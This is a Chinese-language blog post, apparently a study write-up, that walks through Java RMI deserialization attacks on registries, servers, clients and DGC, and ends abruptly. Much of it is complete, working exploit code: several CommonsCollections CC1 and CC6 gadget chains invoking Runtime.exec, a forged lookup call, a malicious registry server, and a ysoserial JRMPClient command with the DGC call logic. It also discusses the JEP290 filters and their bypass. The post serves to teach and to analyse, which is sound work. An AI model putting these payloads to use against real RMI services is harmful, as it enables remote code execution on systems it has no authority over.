前言
上一篇主要写了RMI的流程,这篇基于上篇流程,主要写一下攻击点,也是属于才在前辈的肩膀上看世界了。
前置知识
调试准备
本篇涉及大量的代码调试,由于Oracle JDK sun包没有源码,是反编译的,阅读体验不好,如下图,我们可以使用openjdk的sun源码,提升我们的阅读体验。

具体步骤是,查询我们当前使用的版本。

去这里找到对应的版本号https://github.com/openjdk/jdk8u 这个就是源码(当然其实也不一定非常准确,因为里面还涉及到Oracle JDk和OpenJDK的差别,版本号可能有一些差异,但其实偏差也不会很大)

我们打开项目的配置,找到SDK,然后点开Sourcepath这个选项卡,正常情况下里面会有两个默认的源码目录,分别是src.zip和javafx-src.zip。我们将刚才下载的源码的子目录jdk/src/share/classes/sun加进去,就可以正常调试了。

攻击注册中心
前面我们提到了,客户端请求注册中心-客户端是调用RegistryImpl_Stub
的方法,那与Registry交互的方法有list、bind、rebind、unbind、lookup

这些方法对应的处理逻辑由服务端 RegistryImpl_Skel
的 dispatch
方法来完成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; switch (var3) { case 0: String var100; Remote var103; try { ObjectInput var105 = var2.getInputStream(); var100 = (String)var105.readObject(); var103 = (Remote)var105.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); }
var6.bind(var100, var103);
try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 1: var2.releaseInputStream(); String[] var99 = var6.list();
try { ObjectOutput var102 = var2.getResultStream(true); var102.writeObject(var99); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); } case 2: String var98; try { ObjectInput var104 = var2.getInputStream(); var98 = (String)var104.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); }
Remote var101 = var6.lookup(var98);
try { ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var101); break; } catch (IOException var88) { throw new MarshalException("error marshalling return", var88); } case 3: Remote var8; String var97; try { ObjectInput var11 = var2.getInputStream(); var97 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); }
var6.rebind(var97, var8);
try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); } case 4: String var7; try { ObjectInput var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); }
var6.unbind(var7);
try { var2.getResultStream(true); break; } catch (IOException var80) { throw new MarshalException("error marshalling return", var80); } default: throw new UnmarshalException("invalid method number"); }
} }
|
如果存在对传入的对象调用 readObject()
方法,则可以利用,dispatch
里面对应关系如下:
case 0--->bind、case 1--->list、case 2--->lookup、case 3--->rebind、case 4--->unbind
bind、rebind
其中远程调用bind()、rebind()
绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要客户端传入一个恶意的对象即可。这里利用CC1和CC6做演示:
CC1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; import java.lang.annotation.Target;
public class RMIClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost", 1099);
InvocationHandler handler = (InvocationHandler) getEvilClass();
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("hello", remote); }
public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap); return o; } }
|
CC6:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target; import java.lang.reflect.*; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class T { public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException { Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = clazz.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
HashMap<Object, Object> map = new HashMap<>(); map.put("hello", getEvilClass());
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Target.class,map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, handler);
registry.rebind("hello", remote); }
public static Object getEvilClass() throws IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class<ChainedTransformer> c2 = ChainedTransformer.class; Field iTransformersField = c2.getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(chainedTransformer, transformers); return map2; } }
|
这里有一个需要注意的点就是调用bind()、rebind
的时候无法直接传入AnnotationInvocationHandler
类的对象,必须要转为Remote类才行。这里使用了下面的方式进行转换:
1 2 3 4 5 6
| InvocationHandler handler = (InvocationHandler) getEvilClass();
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
|
下面是详细流程:
- cc1的payload是一个
AnnotationInvocationHandler
对象,在其构造的时候传入了一个 HashMap,其中包含一个恶意对象(通过 getEvilClass() 方法生成),这个 HashMap 被用作 AnnotationInvocationHandler#memberValues
属性,又因为它现在是InvocationHandler类型,通过 Proxy.newProxyInstance方法,这时memberValues
实际上是一个代理对象,所有对 memberValues
的方法调用(例如 get()
或 entrySet()
)都会被委托到 AnnotationInvocationHandler.invoke()
方法。
- 在服务端触发var.readobject()时,会进入
AnnotationInvocationHandler
类的readobject()
- 在readobject()中会执行
this.memberValues.entrySet()
。entrySet(),这是一个map的方法。根据动态代理性质,我们绑定了map的方法到AnnotationInvocationHandler.invoke
方法,所以就会进入invoke方法。
AnnotationInvocationHandler
对象中又弄了一个lazyMap在memberValues属性中!只要触发了这个lazyMap的get方法就等于成功。
- 而
AnnotationInvocationHandler.invoke
方法中刚好有this.memberValues.get(var4);
,而这个this.memberValues就是lazyMap。
unbind、lookup
因为 unbind 和 lookup 的最终利用和思想都是一样的,这里我们就只拿 lookup 这里来学习。我们看到这里只接受一个String类型的参数。如果我们要控制传递过去的序列化值的话,不能直接传递给lookup
这个方法,但是它发送请求的流程是可以直接复制的,只需要模仿lookup
中发送请求的流程,就能够控制发送过去的值为一个对象。详情看下面代码。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.lang.reflect.*; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; import java.lang.annotation.Target;
public class RMIClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost", 1099);
InvocationHandler handler = (InvocationHandler) getEvilClass();
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); }
public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap); return o; } }
|
注册中心在处理请求的时候是直接进行反序列化,所以还是可以造成反序列化攻击。

list
没反序列化的点,这里就不过多阐述了
攻击服务端
在 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。
服务端存在一个接收 Object 参数的远程方法
例如,远程调用的接口 RemoteInterface 存在一个 sayHello
方法的参数是 Object 类型。

那我们就直接可以传一个反序列化 payload 进去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { Registry registry = LocateRegistry.getRegistry("localhost", 1099); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); System.out.println(remoteObj.sayHello(getEvilClass()));
} public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap); return o; } }
|
这部分就是纯纯的 Java 原生反序列化漏洞的利用过程。
绕过 Object 类型参数
非得服务端有Object类型参数的远程方法才能利用的话也太鸡肋了,接下来我们尝试绕过这个限制。我们把服务端的Object类型的方法注释掉,这时候用payload去打,我们会发现unrecognized method hash 的错误。其实就是在服务端没有找到对应的调用方法。

我们之前说过服务端由 UnicastServerRef 的 dispatch
方法来处理客户端的请求,会在 hashToMethod_Map.get(op)
中寻找 Client 端对应执行 Method 的 hash 值,如果找到了,则会反序列化 Client 端传来的参数,并且通过反射调用。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

而如果我们人为的修改这个 hash 使其通过一致性检查后,就会进入到 unmarshalValue 这个方法中,再如果服务端这个方法的入参类型不是基础类型的话,我们就能通畅的进行反序列化恶意对象。造成反序列化。

RMI 服务端需要起一个具有 Object 参数的 RMI 方法 的利用条件限制 就扩展到了 RMI 服务端只需要起一个具有不属于基础数据类型参数的 RMI 方法(比如 String 啥的)
接下来就是想办法让我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)。攻击原理核心在于替换原本不是 Object 类型的参数变为 Object 类型。
mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法:
- 直接修改rmi底层源码
- 在运行时,添加调试器hook客户端,然后替换
- 在客户端使用Javassist工具更改字节码
- 使用代理,来替换已经序列化的对象中的参数信息
并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的 RemoteObjectInvocationHandler 的 invokeRemoteMethod
方法。
接下来我们尝试一下,由于是学习和测试,这里将使用最方便的 debugger 方式。Afant1 师傅使用了 Java Agent 的方式,在这篇文章里,0c0c0f 师傅使用了流量层的替换,在这篇文章里,有兴趣的师傅请自行查看。
Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello
方法都写上,如下:
我们在服务端的接口 RemoteInterface 中定义一个 sayHello
方法,他接收一个在 Server 端存在的 HelloObject 类作为参数。

Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello
方法都写上,如下:

调用时,依旧使用 Object 参数的 sayHello
方法调用。

在 RemoteObjectInvocationHandler 的 invokeRemoteMethod
方法处下断,将 Method 改为服务端存在的 HelloObject 的 Method。

攻击成功。

远程加载对象(JAVA版本要比较低,利用苛刻)
感兴趣的师傅去看su18师傅的文章吧。https://su18.org/post/rmi-attack/#1-%E6%94%BB%E5%87%BB-server-%E7%AB%AF
攻击客户端
注册中心攻击客户端
在前面分析JRMP协议过程中,当Client在连接Server之前,Registry会返回给Client一些序列化数据。如果我们能够搭建恶意的Registry来模拟JRMP协议通信,返回给Client一些恶意的序列化数据,那么就可以达到攻击的效果了。
这里有个很严重的缺陷就是客户端必须去 lookup 指定恶意对象才行。
另外注意这里虽然没直接使用RemoteObjlmpl对象,但是还是需要new RemoteObjlmpl,因为继承了UnicastRemoteObject,UnicastRemoteObject中会开启网络线程,阻塞主线程,让server等待client连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException;
import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; import java.util.Scanner;
public class RMIServer { public static void main(String[] args) throws IOException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { RemoteObjlmpl remoteObj = new RemoteObjlmpl();
InvocationHandler handler = (InvocationHandler) getEvilClass();
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remote);
}
public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap); return o; }
}
|

服务端攻击客户端
在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化。如果我们搭建恶意Server端,返回给Client端恶意对象,就可以达到攻击的效果。

实现接口,里面是一个恶意的对象。

1 2 3 4 5 6 7 8
| public class RMIServer { public static void main(String[] args) throws IOException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { User liming = new ServerReturnObject("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); } }
|
client调用远程方法,被成功攻击。

远程加载对象(JAVA版本要比较低,利用苛刻)
其实无论 Server 端还是 Client 端,只要有一端配置了 java.rmi.server.codebase
,这个属性都会跟随数据流在两端流动。所以这里也是能被攻击的。
DGC
在上篇我们也提到过DGC。
RMI 定义了一个 java.rmi.dgc.DGC
接口,提供了两个方法 dirty
和 clean
:
这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl
以及 sun.rmi.transport.DGCImpl_Stub
,同时还定义了 sun.rmi.transport.DGCImpl_Skel
。
很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。
DGC 通信的处理类是 DGCImpl_Skel 的 dispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象。


看到这里应该就明白了,伴随着 RMI 服务启动的 DGC 通信,也存在被 Java 反序列化利用的可能。我们只需要构造一个 DGC 通信并在指定的位置写入序列化后的恶意类即可。
对JRMP中DGC操作实现的攻击利用
在上篇我们提到了DGC,这边我们开启一个Server,并且在CC链最终的触发处org.apache.commons.collections.functors.InvokerTransformer#transform
处下一个断点

使用ysoserial的exploit/JRMPClient模块。
1
| java -cp ysoserial.jar ysoserial.exploit.JRMPClient vps port CommonsCollecitons6 'calc.exe'
|

然后我们能看到这些调用栈。在1-5的地方均有POC生成序列化数据必须满足的条件。

这部分我们就直接看https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java的逻辑
其核心在于makeDGCCall
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; DataOutputStream dos = null; try { s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); s.setTcpNoDelay(true); OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os); dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new MarshalOutputStream(dos); objOut.writeLong(2); objOut.writeInt(0); objOut.writeLong(0); objOut.writeShort(0); objOut.writeInt(1); objOut.writeLong(-669196253586618813L); objOut.writeObject(payloadObject);
os.flush(); } }
|
根据调用栈我们在TCPTransport$ConnectionHandler.run0打个断点,可以看到这个方法读取了一个int数据:

下图又读取了一个short数据,然后不相等的话就直接return了。

接着读取了一个byte数据,76,于是switch进入下面的case76,继而进入handleMessage方法中:

我们可以看到上面的条件其实全部都是sun.rmi.transport.TransportConstants的静态属性。也解释了为什么ysoserial为什么要这样写。

我们接着到了handleMessages方法中,看到读取了int数据80,于是进入了switch中的分支。

继续跟进,到了Transport类的serviceCall(final RemoteCall call)方法。这一部分是读取了参数之后进行了校验。

java.rmi.server.ObjID#read,num等于2,又调用了java.rmi.server.UID,静态方法。
再进入UID.read方法,可以看到连续读取了int、long、short三个数据: 全都是0

回到java.rmi.server.ObjID#read

所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象。而其中三个变量unique、time、count则分别代表
(这部分其实是ysoserlal序列化写入的值。我们因为攻击服务端,没有去服务端获取过远程对象所以都写成0即可,不然会报错。)
随后和会用该ObjID对象与dgcID作比较。dgcID是一个常量,也就是说在此处此处进行了验证。

如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。
这也是为什么ysoserlal为什么这么写的原因。

接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,

后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。

同样的,在UnicastServerRef类中的dispatch(Remote obj, RemoteCall call)方法中读取了一个int值。

接着又读取了一个long值,最后的结果如图。

接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),那我们就很清楚了,op对应着var3,hash对应着var4。

因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。

到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。
JEP290
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。主要针对Registrylmpl和DGClmpl,分别是sun.rmi.registry.RegistryImpl#registryFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) { if (registryFilter != null) { ObjectInputFilter.Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } }
if (var0.depth() > 20L) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
|
sun.rmi.transport.DGCImpl#checkInput
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo var0) { if (dgcFilter != null) { ObjectInputFilter.Status var1 = dgcFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } }
if (var0.depth() > (long)DGC_MAX_DEPTH) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 == null) { return Status.UNDECIDED; } else { while(var2.isArray()) { if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) { return Status.REJECTED; }
var2 = var2.getComponentType(); }
if (var2.isPrimitive()) { return Status.ALLOWED; } else { return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED; } } } }
|
Bypass JEP290
接下来我的实验环境是 8u202。
JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener)
在JAVA反序列化-RMI服务调用流程篇 客户端请求注册中心-客户端的时候我们提到了sun.rmi.transport.StreamRemoteCall#executeCall方法。下面就是利用sun.rmi.transport.StreamRemoteCall#executeCall方法。
我们现在已知在客户端有一个反序列化的点,那对应的服务端在哪里可以插入payload?
可以看到上面客户端代码对于服务端传输过来的returnType
判断为TransportConstants.ExceptionalReturn
才会进入反序列化流程。那么我们来全局搜索TransportConstants.ExceptionalReturn
就可以找到服务端在哪里写入的了。
发现服务端的代码就在同个java文件下sun.rmi.transport.StreamRemoteCall#getResultStream
,当success为false时,写入输出流。

我们查找用法发现为false的情况有 java.rmi.server.RemoteCall#getResultStream
和 java.rmi.server.RemoteCall#getResultStream

但其实他们都写入了报错信息。

也就是说我们并不能控制他们的写的报错信息为TransportConstants.ExceptionalReturn
。
ysoserial.exploit.JRMPListener实现的方式是自实现拼接出一个JRMP服务端,来发送给JRMP客户端一个序列化数据。
第一个红框就是代替了用户自定义输入,我们直接手动生成 payloadObject,随即就被作为参数带入了 JRMPListener 的构造函数里,最后调用了 run 函数。

我们先看看 构造函数,payloadObject 赋值给了 当前类的 pyaloadObject ,随即就开启的 socket 服务端,准备好来自 JRMPClient 的连接。

跟进 run 函数,我们直接看如果是正常 JRMP 协议的 tcp 连接,那么会进入到如下图:

其中重要的是 doMessage 函数,跟进 doMessage 函数。

读取一个 int op ,然后根据其值做不同的操作,这个 TransportConstants.Call 其实就是 80,Registry 里也是 80,可以在 StreamRemoteCall 的构造函数里看见,它向 server 端发送了一个 80。然后跟进doCall。

先返回了一个 TransportConstants.ExceptionalReturn ,其值为 2,为了满足异常需求。然后生成了一个 BadAttributeValueExpException 的对象,然后将其 val 成员变量设置为 payload 了,只要有反序列化,那么就会触发代码执行。最后将其发送给了 JRMPClient。
使用ysoserial开启一个恶意服务器
1
